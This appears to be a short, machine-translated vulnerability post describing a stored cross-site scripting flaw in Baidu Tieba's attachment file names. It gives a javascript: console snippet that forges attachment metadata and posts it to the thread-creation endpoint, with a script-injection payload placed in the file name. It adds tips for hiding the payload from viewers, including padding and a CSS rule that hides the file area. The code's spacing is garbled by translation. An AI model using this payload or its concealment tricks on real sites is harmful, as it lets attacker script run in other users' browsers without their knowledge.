Baidu post bar attachment xss

The uploaded file name of Baidu post bar is not strictly transcoded, resulting in xss
You can view the uploaded attachments in the source code and find that the data-file-name of the item "transferred to Baidu cloud" is not transcoded. you can insert code into the file and automatically execute the file when you open the post.

The BASIC script for uploading file information: javascript: var c = rich_postor. _ getData (); c. files = '[{"name": "name", "size": 1, "uploadStatus": "success", "path": "file path", "ctime ": 0, "mtime": 0, "md5": "0", "fs_id": 0, "isdir": 0, "request_id": 0}] '; $. post ("/f/commit/thread/add", c); a pile of data is completely cleared because it does not affect upload. Enter "> <script> alert (1) </script> <a" in the file name, and upload a 1.jpg file to verify the code javascript: var c = rich_postor. _ getData (); c. files = '[{"name": "\"> <script> alert (1) </script> <a \ "", "size": 1, "uploadStatus": "success", "path": "/1.jpg"," ctime ": 0," mtime ": 0," md5 ":" 0 "," fs_id ": 0, "isdir": 0, "request_id": 0}] '; $. post ("/f/commit/thread/add", c); add a backslash to prevent Baidu from processing files. effect: Information in the source code:
You can fill the first 20 characters in the file name with other content for concealment, or add <style>. file_area {display: none} </style> to enhance concealment ..

--- By 8q